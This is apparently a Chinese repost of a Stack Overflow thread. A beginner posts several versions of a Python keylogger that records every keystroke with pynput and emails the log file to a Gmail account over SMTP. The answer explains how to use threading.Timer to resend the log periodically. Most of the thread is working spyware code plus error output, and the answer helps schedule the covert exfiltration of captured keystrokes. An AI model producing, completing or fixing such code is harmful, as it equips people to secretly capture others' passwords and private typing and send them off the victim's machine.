gpt4 book ai didi

python - 让 Python 脚本每小时执行一些操作

转载 作者:行者123 更新时间:2023-12-01 01:33:48 25 4
gpt4 key购买 nike

对于一个项目,我正在开发一个 python 键盘记录器。我已经完成了按键日志记录模块和电子邮件模块,该模块将日志文件发送回给我,但在将它们合并在一起时遇到了麻烦。我希望键盘记录程序每 24 小时向我发送一封包含日志文件的电子邮件。我怎样才能做到这一点?

我尝试使用简单的 time.sleep() 延迟,但由于键盘记录模块仅在我将其作为进程杀死时才会停止,因此它永远不会达到延迟,因为你可以说它是“无限”的。

这是我当前的代码:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()


with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()

#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'


msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)
server.quit()

请非常简单地解释答案,因为我是一个绝对的初学者。

编辑:这是新代码,不幸的是它不起作用。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading


def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()


with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()

def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()


sendlog()

编辑3:重新组织代码,可以工作,但发送的日志不完整。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()


sendlog()


#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()


with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()

编辑4:使用代码形式编辑3时出现此错误:

Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.

最佳答案

根据这个答案:https://stackoverflow.com/a/3393759/1910863

您可以使用线程计时器。以下是链接答案中的代码片段:

import threading

def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"

printit()

您可以在脚本开始时调用(或调度)您的方法,并且每次触发时它都会重新调度自己。

如果您喜欢这个答案,您应该对链接的答案进行投票,因为他是值得赞扬的人。

关于python - 让 Python 脚本每小时执行一些操作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52568280/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com